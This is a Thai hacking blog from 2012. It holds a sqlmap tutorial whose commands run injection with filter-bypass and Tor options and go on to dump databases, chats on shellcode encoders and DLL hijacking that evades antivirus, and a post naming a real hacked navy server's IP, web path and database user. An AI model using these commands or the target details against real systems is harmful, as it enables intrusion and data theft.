Tuesday, December 25, 2012

วิธีใช้ SQLmap แบบง่ายถึงปานกลางๆ

ตัวอย่าง วิธีใช้ sqlmap แบบง่ายๆ ...?
ซึ่งผมว่า sqlmap.py -h แล้วอ่านซัก 15 นาทีก็น่าจะเข้าใจวิธีใช้แล้วล่ะ
(ถ้าจะเอาขั้นสูงๆ มาอีก ก็ sqlmap.py --h แล้วอ่านอีก 30 นาที ก็จะใช้คู่ tor, proxy ได้แระ)
ซึ่งผมเองก็เพิ่งอ่านเมื่อกี้นี้เอง ..? ก็เลยเอามาเขียนคู่มือสรุปคร่าวๆ ให้ เผื่อใครขี้เกียจอ่าน ^^"

1) แสกนหา ช่องโหว่ SQL injection
# แบบธรรมดาๆ method GET
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you"

# แบบธรรมดาๆ method POST
./sqlmap.py -u "http://www.stephack.com/index.php" --data="bug=31337&test=hack_you"

# แบบเจาะจง parameter พิเศษ? (ใช้ marker จุดที่จะ inject ด้วย *)
./sqlmap.py -u "http://www.stephack.com/index/bug/31337*/hack_you"

# แบบเจาะจง parameter พิเศษ? (ใช้ -p)
./sqlmap.py -u "http://www.stephack.com/index.php" --data="bug=31337&test=hack_you" -p "bug"

# แบบที่ต้อง login เข้าไปแฮก (ใช้ cookie)
./sqlmap.py -u "http://www.stephack.com/index.php" --data="bug=31337&test=hack_you" -p "bug" --cookie="cookie1=blabla1;cookie2=blabla2"

# แบบต้องทำ bypass filter (ใช้ script ช่วย)
./sqlmap.py -u "http://www.stephack.com/index.php" --data="bug=31337&test=hack_you" -p "bug" -b --tamper="tamper_script1_name.py,tamper_script2_name.py"

# แบบปลอม UserAgent
./sqlmap.py -u "http://www.stephack.com/index.php" --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

# แบบใช้คู่ tor
./sqlmap.py -u "http://www.stephack.com/index.php" --tor



2) ดู database ที่ user กำลังเชื่อมต่ออยู่ (--current-db)
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you" --current-db



3) ดู database ทั้งหมด ที่ user นั้นมีสิทธิ์ (--dbs)
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you" --dbs



4) ดู tables ทั้งหมด ใน <DATABASE> ที่กำหนด
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you" -D DATABASE --tables



5) ดู columns ทั้งหมด ใน <TABLE> ที่กำหนด
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you" -D DATABASE -T TABLE --columns



6) dump <DATA> ที่อยู่ใน <COLUMN> จาก <DATABASE>
./sqlmap.py -u "http://www.stephack.com/index.php?bug=31337&test=hack_you" -D DATABASE -T TABLE -C DATA1,DATA2,DATA3 --dump

===================
* <DATABASE> เช่น mysql projectX wordpress
** <TABLE> เช่น members topic
*** <COLUMN> เช่น id name password
*** <DATA_N> เช่น "id,name,password"
**** รู้สึก -(- หนึ่งอัน) กับ -- (- สองอัน) จะมองไม่ออกเลยแฮะ _ _''
====================


====================

ปล. วิธีแฮก ?... เรื่องง่ายๆ ถ้ามีคนสอน

Monday, December 24, 2012

msfencode กับ shikata_ga_nai


[22:06:30]  มีใครพอรู้เรื่อง msfencode บ้างไหม?
[22:06:35]  ถามอะไรหน่อย
[22:07:34]  ปรกติ -e สำหรับ badchar มันจะไปใช้ shikata_ga_nai ตลอดเลยหรอ?
[22:28:24]  default มันคือ shikata_ga_nai
[22:28:50]  เลือกเองได้
[22:29:48]  shikata_ga_nai มัน work กับ badchar เกือบทุกอัน
[22:32:14]  แล้วถ้าผมจะไม่ใช้ shikata_ga_nai ได้ไหมอ่ะ? สำหรับ badchar อะนะ
[22:32:39]  เมื่อวานผมเพิ่งคุยกับ นิ๊กมา เค้าเจอ environment ที่ใช้ shikata_ga_nai ไม่ได้
[22:32:59]  msfencode -l
[22:33:12]  เลือกเอาเลย
[22:33:35]  นั่นแหละ ผมก็ตอบนิ๊กไปแบบนั้นเหมอนกัน แต่เค้าบอกว่า ถ้าเป็ฯ badchar มันจะกลับไปใช้ shikata_ga_nai อัตโนมัติ
[22:33:47]  ก็เลยสงสัยว่าจริงไหม
[22:33:57]  มันน่าใช่
[22:34:08]  เป็น bug ของ msfencode แล้วละ
[22:34:16]  - -a อืมอืม
[22:34:41]  ไม่น่าใช่ดิ
[22:34:47]  พิมพ์ผิด
[22:35:57]  พรือไม่ก็ เป็นเพราะมัน encode ไม่ได้
[22:36:04]  เลยกลับไปใช้ default
[22:36:45]  encode ไม่ได้คือ มี badchar ที่ทำให้มัน encode ไม่ได้
[22:37:31]  แต่ที่สงสัยอ่ะ ไอ้พวก xor เพือ encode อ่ะมันใช้ base จาก shikata_ga_nai หมดเลยปะ??
[22:37:46]  หรือว่าไม่เกี่ยว?
[22:38:32]  ไม่เกี่ยวกันเลย
[22:38:47]  อย่างพวก Alphanumeric อย่างนี้อ่ะ ผมเคย debug เล่นดูทีนึง มันใช้ xor loop เพื่อ decode
[22:38:51]  หลักการพวกนี้คล้ายๆ packer อะ
[22:38:55]  อืมอืม
[22:39:08]  แต่เวลา pack แล้วต้องหลบ badchar ให้ได้หมด
[22:39:19]  อาฮะ
[22:39:27]  แล้วก็ใส่ code ที่ unpack มันออกมา
[22:39:40]  แล้วค่อยไป execute shellcode จริงๆ
[22:40:01]  งั้นแสดงว่า msfencode มี default เป็น shikata_ga_nai  ??
[22:40:16]  ใช่
[22:40:25]  อ๋อ คับ
[22:40:29]  มัน polymorphic ด้วย
[22:40:39]  คือ encode แต่ละครั้ง จะได้ไม่เหมือนกัน
[22:40:53]  เข้าใจละ
[22:41:51]  งั้นผมว่านิ๊กต้องเข้าใจอะไรผิดแน่ๆ เพราะเมื่อวาน shell มันแค่ xor กับ shell อีกตัว เพื่อทำอะไรซักอย่างแค่นั้น
[22:42:10]  ไม่น่าจะมีปัญหาเรื่อง encode ไม่ได้ สำหรับ ตัวอื่นๆ
[22:42:45]  คือถ้าใส่ badchar บางตัวเข้าไป อาจทำให้ encoder บางตัว encode ไม่ได้นะ
[22:42:54]  เพราะมันต้องใช้
[22:43:49]  แต่ถ้าจำไม่ผิด มันจะไม่กลับเป็น default นะ
[22:43:54]  มันจะฟ้องว่าไม่ได้
[22:44:41]  เห็นว่า badchar ปรกติเองนะ \x00, \x0a \x0d \x5c
[22:45:08]  - -a ใช่ๆ ผมก็จำได้ว่ามันเป็นแบบนั้นนะ
[22:46:44]  ถ้าแค่นี้ไม่น่ามีปัญหา
[22:47:35]  ใช่ผมก็เข้าใจว่าแบบนั้น แต่นั่นแหละ เค้าบอกมาแบบนั้นผมก็เลยไม่มั่นใจ

mod_rewrite คือ อะไร


<22:29:56> "GreanMaster": ว่า mod rewrite เปลี่ยน / เป็น ? ได้
<22:29:58> "GreanMaster": 555555
<22:42:57> "Tum": mod rewrite คืออะไร??
<22:43:38> "GreanMaster": คือโมดูลของ php ใช่ป่ะ คับ
<22:43:54> "GreanMaster": ที่เอาไว้เปลี่ยน url หรือไงนี้ละ
<22:44:33> "ICheer_No0M": ของ apache
<22:44:57> "GreanMaster": อ้าว หรอคับ
<22:45:00> "GreanMaster": - -"
<22:47:03> "windows98SE": mod_rewrite เป็นเหมือน plugins เสริม หรือจะเรียก addons ของ apache ก็ได้ (apache คือ web service)
<22:48:06> "GreanMaster": อ่าคับ
<22:48:54> "Tum": เอาไว้ทำอะไรอ่ะ?
<22:49:16> "windows98SE": mod_rewrite นี่เอาไว้ตั้งเงื่อนไขให้พวก url
<22:49:23> "windows98SE": ไอ้ .htaccess อ่ะ
<22:49:33> "windows98SE": ส่วนเงื่อนไข มีหลายแบบ
<22:49:58> "Tum": เปลี่ยน / เป็น ? ได้ << แล้วไอ้นี่ละ?
<22:50:47> "windows98SE": จะ ทำ link สวยๆ ก็ได้ .. เช่น จากเดิม url เป็น /files.php?search=blabla สามารถเขียน rule (เงื่อนไข) ใน mod_rewrite ให้ เป็น /search/blabla ได้เลย
<22:51:04> "windows98SE": มันจะส่ง blabla เช้า search= อันโตมัติ
<22:51:26> "windows98SE": ประมาณว่า ทำ url-friendly ซึ่งมีผลกับพวก seo อ่ะ
<22:52:06> "windows98SE": รวมทั้ง บางคนเขียน block กัน คำจำพวก mysql injection ไว้ด้วย ให้ redirect ไปหน้าอื่น
<22:52:13> "windows98SE": มันทำได้เยอะมากๆ
<22:52:17> "windows98SE": (+ สะดวก)

เว็บทหารเรือ โดนแฮก ได้ยังไง (เชิงวิเคราะห์)


เนื่องจากพวกข่าวแนวๆ เว็บโดนแฮก ของเหล่าเวปไทยทั้งหลาย
สำหรับผม ผมไม่ค่อยให้ความสนใจเท่าไหร่นะ
เพราะ ส่วนมากก็ ช่องโหว่เดิมๆ เก่าๆ
(คนทำเวปในไทยไม่ค่อยจะอัพเดทเท่าไหร่)
แล้วก็ รู้ๆ กันอยู่ ว่าในเวปไม่มีอะไรพิเศษหรอก
เพราะ พี่ไทยเรา ยังเก็บข้อมูลต่างๆ เป็น "เอกสาร" กันอยู่เลย
นอกจาก จะแฮกเอาเครื่อง server ไปใช้ทำอย่างอื่น ..
(อ่านได้จาก เวปโดนแฮก … แฮกทำไม อยากรู้ก็อ่านโลด)

แต่ข่าว โดนแฮก รอบนี้เป็นเวปทหารเรือ
ซึ่ง ผมก็เคยเป็นลูกประดู่มาก่อน
ก็เลยย่องไปสำรวจเวป เสด็จเตื่ย ดูซักหน่อย

จากการเปิดเวป และ สำรวจ Link ต่างๆ ด้วย firefox
(มิได้ใช้ tools อะไรเลยทั้งสิ้น ^^")
ก็เห็นแว๊ปๆ ว่า มี user ใน MySQL ชื่อ mark
(จุดนี้ผมถือว่า เป็นช่องโหว่ เรื่อง Infomation leak ซึ่งเอาไปทำอย่างอื่นได้อีก)

แล้วก็มีหลายๆ file ที่ รั่ว MySQL Error Msg
(จุดนี้ผมถือว่า เป็นช่องโหว่ เรื่อง SQL Injection
จากข้อความ error มีโอกาศแฮกได้ 50/50)


เห็นแค่นี้ก็ไม่แปลกใจว่าทำไมโดนแฮก
และ เอาข้อมูลออกไปได้ (อีกแล้ว)

ปล. เครื่อง 58.97.113.156
มีพาธ /home/www/public_html/newwww
(ไปเดินเล่นแค่เครื่องนี้ เครื่องเดียว เท่านั้น เด้อครับเด้อ)

ปล2. ขอบคุณภาพปลากรอบ
จาก "Dora Japan Sexy Cosplay Navy White Ruffle Nautica Sailor Hat School Girl Costume" ครับ

Saturday, December 22, 2012

เวปโดนแฮก ... แฮกทำไม อยากรู้ก็อ่านโลด

ก่อนอื่นต้องขอออกตัวล้อฟรีก่อนว่า
"บทความนี้ไม่ได้ สมน้ำหน้าใคร" นะครับ
แต่ จะมาอธิบาย ให้เข้าใจว่า
ทำไม "เวปถึงโดนแฮก", "แฮกทำไม"
(จริงๆ ผมก็ไม่ได้รู้หรอก ว่าทำไม ... เพราะผมไม่ได้เป็นคนแฮก ซะหน่อย)

แต่จากที่เจอๆ มา ... มีการ โดนแฮก กันมากมายทุกวันนั่นแหละ
แต่แยกเหตุผลหลักๆ ก็ประมาณนี้


- แฮกแก้หน้าเวป :
พวกนี้มักแก้หน้าเวป ฯลฯ
หลายคนคงสงสัย ว่าจะแก้ทำไม
ซึ่งผมคิดว่า เพราะมันมีเวปจัดอันดับอยู่ครับ
ว่าใคร(หรือทีมใคร) เจ๋งแค่ไหน
ก็เหมือนๆ แฮกเพื่อ อวดกันนั่นเอง
(ความเกรียนเกรียน 9/10)


- แฮกมาฝังไวรัส :
พวกนี้ จะเจอมากตอนช่วงที่
มีการประกาศ 0-day ของ web browser ต่างๆ
ซึ่งเวปผมก็เคยโดน .. พี่ท่านเล่น sniff มาทำ arp
จาากนั้น ยัดไวรัสแทรกใน iframe
กระจายใส่ทุกคนที่อยุ่ในวง lan เดียวกันหมดเลย
(ใครเปิดเวปปุ๊ป โหลดไวรัสไปลงปั๊ป)



- แฮกมาทำ BL :
พวกนี้ จะมาขโมย traffic จากเวปเป้าหมาย
โดยการฝังสคิปไว้ในเวป
แล้วสั่งให้เช็ค พวก referer
(เช็คว่าก่อนจะเข้าเวปนี้ .. กด link มาจากเวปไหน)
ทีนี้ ถ้ามาจากพวก search engine (เช่น google, yahoo)
ก็จะโดน redirect ไปเวปเป้าหมายนั่นเอง
เวปเป้าหมายก็จะได้ traffic ... พอ traffic เยอะ
มูลค่าราคาของเวปก็จะสูง
แบนเนอร์ก็จะแพง และมีผลต่อลำดับ SEO ฯลฯ


- แฮกเข้าไปขโมยสคิป :
แหม๋ไม่ต้องคิดมาก .. เจอเวปสวยๆ แล้วเขียนไม่ได้
แต่อยากได้ ก็ต้องแฮก ซิค๊าบ


- แฮกเพื่อฝังสคิปไว้ spam mail :
ปกติแล้ว เครื่อง server จะส่ง mail ออกจากเครื่องรัวๆ ไม่ได้
เช่น ถ้ามีคนคิดจะขยายตลาดสินค้า
เช่น ดิลโด้, ชาเขียว, ธุรกิจขายตรง
โดยการ ส่ง email ไปหาชาวบ้านมั่วๆ
ทีละ 20-30 ล้านฉบับ (ส่งเยอะๆ ไว้ก่อน) โดยกะว่า
"ส่งหนึ่งล้าน อ่านหนึ่งร้อย ก็อาจจะขายได้ซัก 1 ชิ้น"
อะไรทำนองนี้

แต่เครื่อง server มันส่งเยอะๆ ไม่ได้หรอก .. เพราะ ทาง gmail, hotmail
มันจะคิดว่าเครื่องที่ส่งมารัวๆ แมร่ง เป็นเครื่อง spam แน่นอน
ก็จะทำการ block เครื่องนั้น ทิ้งไป (ส่งแล้ว ปลิวไปอยุ่ใน junk นั่นเอง)
... ฝรั่งมันเลยมักจะแฮกเอามาไว้ ส่ง mail เยอะๆ นั่นเอง


-แฮกเพื่อ เอาไป ddos ชาวบ้าน :
อันนี้ผมเห็นมีพวก ทำธุรกิจ รับจ้างยิง, รับจ้าง ddos กันเลยทีเดียว - -''


- แฮกเพื่อ ขโมยข้อมูลในนั้น :
อย่างเช่น แฮกเวปเกมส์ เข้าไปเอา email คนเล่นเกมส์ทั้งหมด
แล้วประยุคทำอย่างอื่น เช่น spam mail ไปขายเกมส์, spam ไปแจก virus, ฯลฯ


- แฮกเพื่อจีบสาว :
เช่น hack facebook, hack email เพื่อแอบเข้าไปอ่าน
ว่าชอบอะไร บ้านอยุ่แถวไหน จากนั้นก็ตีสนิท .. จีบ ฯลฯ
(เอ๊ะ เขียนซะยังกะเคยทำ -.,-'' )


- แฮกเล่นๆ :
เห็นเขาแฮกเลยแฮกตาม *0*


จริงๆ มีอีกเยอะ .. แล้วแต่จะคิด แต่ขี้เกียจพิมพ์แระอ่ะ ... ตัดจบเลยแล้วกัน -0-

Monday, December 17, 2012

เทคนิคแฮก โดย dll hijack แบบคร่าวๆ


<23:56:16> "lFirst": สวัดดีครับพี่เล็ก
<23:58:47> "lFirst": Metasploit นี้ในคอสพี่มีสอนป่ะ
<00:02:47> "windows98SE": ไม่มีอ่ะ
<00:02:50> "windows98SE": แต่มี doc
<00:03:05> "windows98SE": หลักๆ สอนแฮกเวป -.-
<00:03:43> "lFirst": Metasploit ส่วนมากเค้าเอาไว้ทำไมครับ
<00:03:59> "lFirst": ทำพวก dll hijacking เหรอ
<00:04:23> "windows98SE": มันเป็น tools รวบ exploit ไว้
<00:04:41> "windows98SE": ทำความเข้าใจ doc ก็จะใช้ง่ายๆ
<00:04:52> "windows98SE": โดยไม่ต้องรู้ว่า exploit ทำงานยังไง
<00:04:55> "lFirst": doc คือ
<00:05:05> "windows98SE": doc = document = คู่มือ
<00:05:22> "lFirst": อ่อ
<00:06:03> "lFirst": dll hijacking เทคนิคนี้ พวกแอนตี้ไวรัส เค้าจับได้รึยังครับ
<00:06:37> "windows98SE": เขียน C เป็นป่าว ?
<00:06:46> "windows98SE": แล้ว รุ้ป่าว ว่ามันทำงานยังไง
<00:07:36> "lFirst": เขียนเป็นแค่แบบเด็กๆอะครับ
<00:07:47> "lFirst": ไม่รู้รายละเอียด
<00:11:45> "windows98SE": อธิบายไงดีหว่า
<00:12:01> "windows98SE": ปกติ โปรแกรม มันจะมี เรียก lib มาใช้
<00:12:10> "windows98SE": ซึ่งบาง lib จะอยู่ใน .dll
<00:12:40> "windows98SE": ซึ่ง ปกติ มันจะเรียก lib ของ windows
<00:12:50> "windows98SE": ซึ่งอยุ่ใน c:/windows/system32
<00:12:54> "windows98SE": แต่
<00:13:08> "windows98SE": ปกติ โปรแกรม จะอ่าน จาก โฟรเดอร์ของมันเองก่อน
<00:13:22> "windows98SE": เช่นไว้ที่ driver d:/program_vunl
<00:13:57> "windows98SE": ถ้าตามปกติ โปรแกรม vunl.exe มันเรียกใช้ main.dll ที่ system32 .. แล้วมันทำงานได้ปกติอยู่
<00:14:27> "windows98SE": แต่วันหนึ่ง ดันมีคนทะลึ่งทำ main.dll ไวรัส มาใส่ไว้ใน d:/program_vunl ขึ้นมา
<00:14:37> "windows98SE": โปรแกรม มันจะเรียก dll ที่อยุ่ในโฟรเดอร์มันก่อน
<00:14:46> "windows98SE": ไวรัสที่เขียนยัดไว้ใน dll ก็จะทำงาน
<00:15:18> "windows98SE": ประมาณเนี้ย (dll hijack)
<00:16:12> "lFirst": แล้วแอนตี้ไวรัส เค้าตรวจไม่ได้เหรอ ตอนเวลาที่จะสั่งให้รัน
<00:16:40> "windows98SE": คำถามนี้ตอบไม่ได้อะ
<00:16:51> "windows98SE": เพราะไม่เคยลอง และ ไม่ได้เป็นคนทำ anti-virus
<00:16:59> "windows98SE": แต่ ถ้าเขียนเอง แล้วมันไม่ดัง
<00:17:05> "windows98SE": av ตรวจไม่เจอหรอก


การแฮกในวง lan แฮกร้านเกมส์ แฮกเพื่อน

หากติดตามกันมานาน
จะรู้ว่า ผมไม่สนับสนุน การแฮก "user"
และ ไม่ชอบ ให้แฮก "user"
(พวกเทคนิค arp xxxx ทั้งหลาย)

เพราะ
-. เดือนร้อนแน่ๆ คือคนโดนแฮก
-. คนแฮก ถ้าไม่เนียล ติดคุกได้ง่ายๆ 4-6 ปี
-. ในขณะที่ทำ ... ตามหาคนทำได้ง่ายมาก
-. หากเกี่ยวกับเรื่องเงินเมื่อไหร่ = มีเจ้าทุกช์ = ตำรวจต้องหาคนร้ายให้ได้เพื่อปิดคดี

ตำรวจไทยไม่ได้โง่ .. แต่แค่ขี้เกียจทำงาน
ถ้าเจ้าทุกข์ "โวยวายเป็น" เช่นทำให้เรื่องดัง
โดยโวยวายในเวปพันทิพย์
ตร.ไทยจะขยันทำงานขึ้นมาทันที

เพราะ คดีไหนที่ดัง ทำแล้วได้ผลงาน ได้ขั้น
(เงินเดือนข้าราชการจะขึ้นตามขั้นที่ได้ในแต่ละปี)

อ่อ .. อย่าคิดว่าอายุไม่ถึง 18 คงไม่เป็นอะไรล่ะ
เพราะ คุกเยาวชน คือแหล่งเพาะโจร ดีๆ นี่เอง
เด็กข้างใน น่ารักๆ ทั้งนั้น

... รู้ติดตัวกันไว้หน่อยก็ดีนะเด็กๆ

Friday, December 14, 2012

บทความนี้ สำหรับใครที่ อยากลองเล่น raspberry pi นะครับ

แต่ก่อนอื่น ... บอกก่อนเลยว่า raspberry pi เนี้ย มันไม่เหมาะสำหรับ end user
ซึ่ง end user ของผม จะหมายถึง พวก user ที่วันๆ ใช้ pc แค่เล่นเกมส์
หรือ ทำอะไรนิดๆ หน่อยๆ "ลงโปรแกรมไม่เป็น, ลง windows ไม่เป็น" ครับ
ดังนั้น หาก คุณอยู่ในกลุ่มนี้ .. และคิดว่าไม่คุ้มค่าที่จะเสียเวลาไปกับ raspberry pi
และ อยากจะเป็น end user อย่างนี้ต่อไป ขอให้ปิดบทความนี้ ไปได้เลยครับ
(อย่าอ่านให้เสียเวลา รกสมอง ปล่าวๆ)

เอาล่ะถ้าหากคุณ มีเวลาว่าง และ อยากมี comunity ที่คุยภาษา บ้าบอ อะไรไม่รุ้ ฟังเหมือนจะเข้าใจยาก
แต่คุณ ชอบที่จะเรียนรู้สิ่งใหม่ๆ หรือ พร้อมที่จะเจอปัญหาใหม่ๆ
หรือ มีความสามารถที่จะใช้ google เพื่อหาทางแก้ไขปัญหาต่างๆ ด้วยตัวเอง
(เอ๊ะ ... สำนวนเหมือนจะชวนไปทำขายตรง แต่ไม่ใช่นะฮะ - -'')


ผมอยากจะบอกว่า ... คุณกำลังจะได้อ่านบทความสรรค์สร้างปัญหาต่างๆ
ที่จะมาทำลายเวลาว่างอันมีค่าให้กับชีวิตของคุณแล้วล่ะ .. lol~

เอาล่ะครับ ... ผมจะเล่าถึง raspberry pi ในมุมที่ผมเพิ่งได้จับ
และไม่ค่อยจะได้จับ เพราะ ต้องให้ว่างๆ มากๆ ถึงจะจับมาเล่นซักที
ให้คุณผู้อ่าน ซึ่งเป็นทั้ง เหล่าสาวกบทความแฮก และ เหล่าผู้สนใจ raspberry pi
หรือ เหล่าบุคคลที่หลงเข้ามาได้อ่านบทความแสนมั่วของผมกัน ดังต่อไปนี้
(ตรงไหนผิดพลาด comment ติมาได้เลยนะครับ .. เพราะผมไม่ได้เรียนสายคอมมา)

==========
ก่อนอื่นสำหรับคนที่ไม่รู้จัก raspberry pi ก็ขอให้คิดซะว่า มัน คือ คอม ครับ
... แต่เจ้า CPU ที่มันใช้เนี้ย อยุ่ในอีก สถาปัตยกรรมหนึ่ง ที่ชื่อว่า ARM ครับ (ARM11 มั้ง)
ซึ่งในตอนนี้ไอ้ PC ที่เราเล่นๆ กันอยุ่เนี้ย CPU มันอยู่ใน สถาปัตยกรรม x86 (32bit) และ x64(64bit) นั่นเอง

==========
อ้าว แล้ว ไอ้ ARM เนี้ย มันเป็นยังไง ?
... ก่อนอื่น ต้อง อธิบายให้เห็นภาพ ดังนี้ กันก่อนครับ
ไอ้เจ้า PC เนี้ย CPU มันทำงานได้แรง แต่มันก็แลกมาด้วยการใช้ไฟมากคับ
ทีนี้อุปกรณ์บางอย่างมันก็มี CPU มี OS ของมันเหมือนกัน
แต่มันมีข้อจำกัดเรื่องพลังงานครับ .. มันไม่สามารถใช้ไฟเยอะๆได้
อย่างเช่น มือถือ ถ้าใช้ CPU แรงๆ ทำงานไวๆ ก็จะแลกมาด้วยการใช้ไฟเยอะ
ก็จะทำให้แบตหมดไว .. ก็เลยต้องใช้ CPU ที่กินไฟน้อยๆ ซึ่งก็คือ ARM นั่นเอง

สรุป ... มือถือเนี้ย CPU ของมันส่วนมากก็คือ arm แบบน้อง raspberry pi นั่นเอง

==========
แล้วถ้าไม่มี raspberry pi หรือ arm ทั้งหลายมาเล่น
จะลองเล่น บน PC ได้มั้ย ? ทำยังไง ?
... ปกติแล้ว เราสามารถ จำลอง computer, เครื่องเล่นเกมส์, เร้าเตอร์, มือถือ
ด้วยโปรแกรมจำพวก emulator หรือ virtual machine ต่างๆ
เช่น VMware ได้ครับ ซึ่งผมจะมาแนะนำ ตัว QEMU
ซึ่งมีคนมาโมทำเป็น emulator ของ raspberry pi
และ จากที่ลองแล้วขอบอกเลยว่า ใช้งานง่าย
ได้ทั้งบน linux และ windows
ซึ่งเหมาะสำหรับ ความซน พอสมควร





++++++++++
ขั้นตอนการซน

1. ไปโหลด อุปกรณ์การซน ได้จาก http://www.raspberrypi.org/downloads
ซึ่งหากซนน้อยๆ ก็โหลดแค่ 2012-10-28-wheezy-raspbian.zip ( Download )
แต่ถ้า ซนเยอะๆแบบผม ก็โหลดมาให้หมดทุกอันครับ

2. แตกไฟล์มาข้างในจะมี QEMU แล้วก็จะมี run.bat
เรียกไฟล์ run.bat ตัวโปรแกรมก็จะทำงานได้เลยครับ *0*

จบ .. แค่นี้เอง (โดนหลอกให้อ่านตั้งนาน อิอิ)

++++++++++
แถมทริ๊กของการซน
1. ใน พาธ qemu\qemu จะมีไฟล์ run.bat อยุ่ หากเปิดกับ text editor ดู จะมี
ข้อความดังนี้

qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda 2012-07-15-wheezy-raspbian.img -kernel kernel-qemu -m 192 -append "root=/dev/sda2"

ตรง 2012-07-15-wheezy-raspbian.img คือ ไฟล์ image ของ OS ที่จะรันบน raspberry pi นั่นเอง
ดังนั้น หากโหลด OS อันอื่นๆ มา ก็สร้างไฟล์ใหม่แล้วแก้ตรงนี้ก็จะได้ลองกันหลายๆ OS แล้วนั้นเอง

เช่น

qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda pwnpi-v2.0-final.img -kernel kernel-qemu -m 192 -append "root=/dev/sda2"


2. เอาเม้า สลับออกมาจาก emulator ให้กด ctrl+alt (จริงๆแล้วเรื่องนี้ จะต้องบอกมั้ยหว่า -.-)

++++++++++
ภาพปลากรอบ



++++++++++
หลังจากอ่านจบแล้ว .. และคุณไปทดลองเล่นดูแล้ว
ผมไม่อยากให้ถามว่า มันเอามาทำอะไรได้บ้าง
แต่ผมอยากถามคุณว่า คุณจะเอาไปทำอะไร มากกว่า
เพราะ
## มุมมองแง่ดี ##
- CPU มันแรงกว่ามือถือ (iphone รุ่นเก่า)
- มันมี GPIO (เขียน micro controller ได้ = ทำหุ่นได้)
- มันลง linux ได้ (แต่เป็น arm นะ ... ซึ่ง มันก็ยัง Port ลงได้เยอะ แต่ต้องลำบาก compile กันหน่อย)
- ตัว os หลักที่เป็น stable ของมันคือ wheezy (raspbian)
ซึ่งก็ไม่ต่างจาก debian เท่าไหร่ ซึ่ง debian เนี้ยก็ไม่ต่างจาก ubuntu เท่าไหร่
- มันมี HDMI ซึ่ง เป็น FULL HD (เอามาทำ พวก เครื่องเล่น HD ได้)
- HDMI+LAN = สามารถเอามาทำ AIRPLAY ได้ (เปิด youtube เล่นบน TV ได้สบายๆ .. แต่มีหน่วงๆ หน่อย เพราะ CPU มันช้า)
- มันมี 2 USB ... ซึ่งจากที่ลองบน wheezy เนี้ย .. หมดปัญหาเรื่อง driver ของ wifi นะ (มันหาเจอ .. ไม่ต้องมาเหนื่อย compile เอง)
ซึ่งหากมองว่า input เป็น USB แล้ว .. มันก็น่าจะต่ออะไรได้อีกเยอะ ไม่ว่าจะเป็น กล้อง ฯลฯ
ทีนี้ ก็ขึ้นอยุ่กับว่า จะเขียนอะไรควบคุมมันล่ะ
- ใน iphone มี app พวก NetIO ซึ่ง ควบคุมผ่าน ip address ได้ ... ดังนั้น ขึ้นอยู๋กับว่าจะเขียนโปรแกรมให้มันทำงานอะไรให้ อีกนั่นล่ะ
- ราคามันถูกกว่าคอมประกอบ
- กินไฟน้อย



## มุมมองแง่ลบ ##
- cpu มันกระจอกไปเพราะผม จับพวก q6600 กะ i7 อะไรงี้มา .. เลยรุ้สึกว่า .. ห่าเอ้ย ทำงานไม่ทันใจคนแก่เลย
แต่ถ้าเทียบกับคอมเครื่องแรกผม ... raspberry pi แมร่ง แรงกว่า 2เท่า, ram เยอะกว่า, hdd จุได้เยอะกว่า ฯลฯ
(เห้ย .. เดี๋ยวรู้กันหมดว่า คนเขียนแก่)
- ใช้ยากไปสำหรับ คนที่ไม่ได้ใช้ Linux
- ไม่เหมาะกับ GUI เพราะ กระตุก ... แต่ถ้า terminal นี่ ลื่นดี

Wednesday, December 12, 2012

อธิบายการทำงานของ torrent (log chat ใน ts3)


<21:31:14> "Boss1669": อ้าไหนพี่บอก
<21:31:22> "Boss1669": เว้ปโจรสลัดจะมาเปิดหลังปีใหม่ไง
<21:31:29> "windows98SE": ใช่ไง
<21:31:34> "Boss1669": เมื่อวันก่อนยังเห็นเข้าได้อยู่
<21:31:34> "Boss1669": 55
<21:31:35> "windows98SE": ย้ายมาไว้ใน stephack
<21:31:44> "windows98SE": domain ไม่ต่อ, host ก็ไม่ต่อ
<21:31:49> "windows98SE": เดี๋ยวค่อย mail บอก
<21:31:59> "windows98SE": กะมาอยุ่แบบ pirate.step
hack.com
<21:32:18> "windows98SE": แล้วมีแค่หน้า torrents.php ไฟล์เดียว
<21:32:30> "windows98SE": vip กะ Mod เท่านั้นที่เข้าได้
<21:32:42> "windows98SE": คนโหลดก็จะเหลือ แค่ 100 กว่าคนนี่แหละ
<21:32:46> "windows98SE": ไม่รับเพิ่ม
<21:33:00> "tum": ต้องบอกว่า vip กับเด็กเส้น
<21:33:16> "windows98SE": ก็แค่คนรุ้จัก :)
<21:33:27> "GreanMaster": - -"
<21:33:37> "GreanMaster": อ้าวพี่งี้แล้วใครจะปล่อยอะคับ ?
<21:34:07> "windows98SE": บอท
<21:34:18> "windows98SE": เวป pirate ไม่ต้องมี leecher
<21:34:25> "windows98SE": เพราะ peer โจร
<21:34:33> "GreanMaster": - -"
<21:34:33> "windows98SE": โหลดอย่างเดียว ไม่ต้องปล่อย :)
<21:34:41> "GreanMaster": โหดร้ายยยยย
<21:35:00> "windows98SE": บอทมันทำ bypass DHT ให้ auto
<21:35:09> "windows98SE": ซึ่ง ... ก็เหมือน peer ผี แหละ
<21:35:15> "windows98SE": แต่ ผี 5 เวป
<21:35:17> "windows98SE": *0*
<21:35:36> "GreanMaster": *0*
<21:35:40> "windows98SE": cz sb tt tm yy
<21:36:37> "GreanMaster": งงแหะ คือให้ บอทไปโหลดมาให้อ่อคับ ?
<21:37:15> "windows98SE": เจมส์ คิดว่า torrent มันทำงานยังไง ?
<21:37:51> "GreanMaster": ก็มีทุกคนมีไฟล์ แล้วช่วยกันปล่อย ป่ะคับ ?
<21:38:07> "windows98SE": แล้ว มัน รู้ได้ไง ว่าใครปล่อย
<21:38:08> "windows98SE": *0*
<21:38:45> "windows98SE": แยกเป็น งี้
<21:38:51> "GreanMaster": passkey ของตัวเองป่ะคับ ?
<21:38:55> "windows98SE": มา จะอธิบาย แบบ ละเอียด ให้ฟัง
<21:39:25> "GreanMaster": อ่าคับ
